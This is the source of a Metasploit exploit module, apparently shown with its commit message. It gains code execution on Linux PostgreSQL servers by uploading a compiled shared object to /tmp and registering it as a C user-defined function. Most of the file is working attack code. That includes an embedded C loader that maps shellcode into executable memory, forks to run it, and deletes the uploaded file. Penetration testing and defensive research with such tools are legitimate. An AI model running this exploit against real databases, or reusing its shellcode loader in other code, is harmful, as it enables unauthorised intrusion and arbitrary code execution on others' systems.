20cc2fa38d
* Adds Exploit::EXE to windows/postgres/postgres_payload. This gives us the ability to use generate_payload_dll() which generates a generic dll that spawns rundll32 and runs the shellcode in that process. This is basically what the linux version accomplishes by compiling the .so on the fly. On major advantage of this is that the resulting DLL will work on pretty much any version of postgres * Adds Exploit::FileDropper to windows version as well. This gives us the ability to delete the dll via the resulting session, which works because the template dll contains code to shove the shellcode into a new rundll32 process and exit, thus leaving the file closed after Postgres calls FreeLibrary. * Adds pre-auth fingerprints for 9.1.5 and 9.1.6 on Ubuntu and 9.2.1 on Windows * Adds a check method to both Windows and Linux versions that simply makes sure that the given credentials work against the target service. * Replaces the version-specific lo_create method with a generic technique that works on both 9.x and 8.x * Fixes a bug when targeting 9.x; "language C" in the UDF creation query gets downcased and subsequently causes postgres to error out before opening the DLL * Cleans up lots of rdoc in Exploit::Postgres
192 lines
4.9 KiB
Ruby
192 lines
4.9 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/exploit/postgres'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::Postgres
|
|
include Msf::Auxiliary::Report
|
|
|
|
# Creates an instance of this module.
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'PostgreSQL for Linux Payload Execution',
|
|
'Description' => %q{
|
|
On some default Linux installations of PostgreSQL, the
|
|
postgres service account may write to the /tmp directory, and
|
|
may source UDF Shared Libraries's from there as well, allowing
|
|
execution of arbitrary code.
|
|
|
|
This module compiles a Linux shared object file, uploads it to
|
|
the target host via the UPDATE pg_largeobject method of binary
|
|
injection, and creates a UDF (user defined function) from that
|
|
shared object. Because the payload is run as the shared object's
|
|
constructor, it does not need to conform to specific Postgres
|
|
API versions.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'midnitesnake', # this Metasploit module
|
|
'egypt', # on-the-fly compiled .so technique
|
|
'todb' # original windows module this is based on
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]
|
|
],
|
|
'Platform' => 'linux',
|
|
'Payload' =>
|
|
{
|
|
'Space' => 65535,
|
|
'DisableNops' => true,
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
|
|
[ 'Linux x86_64', { 'Arch' => ARCH_X86_64 } ],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Jun 05 2007'
|
|
|
|
))
|
|
|
|
deregister_options('SQL', 'RETURN_ROWSET')
|
|
end
|
|
|
|
def check
|
|
version = postgres_fingerprint
|
|
|
|
if version[:auth]
|
|
return CheckCode::Vulnerable
|
|
else
|
|
print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
|
|
return CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
version = do_login(username,password,database)
|
|
case version
|
|
when :noauth; print_error "Authentication failed."; return
|
|
when :noconn; print_error "Connection failed."; return
|
|
else
|
|
print_status("#{rhost}:#{rport} - #{version}")
|
|
end
|
|
|
|
fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
|
|
|
|
unless postgres_upload_binary_data(payload_so(fname), fname)
|
|
print_error "Could not upload the UDF SO"
|
|
return
|
|
end
|
|
|
|
print_status "Uploaded as #{fname}, should be cleaned up automatically"
|
|
begin
|
|
func_name = Rex::Text.rand_text_alpha(10)
|
|
postgres_query(
|
|
"create or replace function pg_temp.#{func_name}()"+
|
|
" returns void as '#{fname}','#{func_name}'"+
|
|
" language c strict immutable"
|
|
)
|
|
rescue RuntimeError => e
|
|
print_error "Failed to create UDF function: #{e.class}: #{e}"
|
|
end
|
|
postgres_logout if @postgres_conn
|
|
|
|
end
|
|
|
|
# Authenticate to the postgres server.
|
|
#
|
|
# Returns the version from #postgres_fingerprint
|
|
def do_login(user=nil,pass=nil,database=nil)
|
|
begin
|
|
password = pass || postgres_password
|
|
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
|
|
result = postgres_fingerprint(
|
|
:db => database,
|
|
:username => user,
|
|
:password => password
|
|
)
|
|
if result[:auth]
|
|
report_service(
|
|
:host => rhost,
|
|
:port => rport,
|
|
:name => "postgres",
|
|
:info => result.values.first
|
|
)
|
|
return result[:auth]
|
|
else
|
|
print_status("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
|
|
return :noauth
|
|
end
|
|
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
|
|
return :noconn
|
|
end
|
|
end
|
|
|
|
|
|
def payload_so(filename)
|
|
shellcode = Rex::Text.to_hex(payload.encoded, "\\x")
|
|
#shellcode = "\\xcc"
|
|
|
|
c = %Q^
|
|
int _exit(int);
|
|
int printf(const char*, ...);
|
|
int perror(const char*);
|
|
void *mmap(int, int, int, int, int, int);
|
|
void *memcpy(void *, const void *, int);
|
|
int mprotect(void *, int, int);
|
|
int fork();
|
|
int unlink(const char *pathname);
|
|
|
|
#define MAP_PRIVATE 2
|
|
#define MAP_ANONYMOUS 32
|
|
#define PROT_READ 1
|
|
#define PROT_WRITE 2
|
|
#define PROT_EXEC 4
|
|
|
|
#define PAGESIZE 0x1000
|
|
|
|
char shellcode[] = "#{shellcode}";
|
|
|
|
void run_payload(void) __attribute__((constructor));
|
|
|
|
void run_payload(void)
|
|
{
|
|
int (*fp)();
|
|
fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
|
|
|
|
memcpy(fp, shellcode, sizeof(shellcode));
|
|
if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
|
|
_exit(1);
|
|
}
|
|
if (!fork()) {
|
|
fp();
|
|
}
|
|
|
|
unlink("#{filename}");
|
|
return;
|
|
}
|
|
|
|
^
|
|
|
|
cpu = case target_arch.first
|
|
when ARCH_X86; Metasm::Ia32.new
|
|
when ARCH_X86_64; Metasm::X86_64.new
|
|
end
|
|
payload_so = Metasm::ELF.compile_c(cpu, c, "payload.c")
|
|
|
|
so_file = payload_so.encode_string(:lib)
|
|
|
|
so_file
|
|
end
|
|
end
|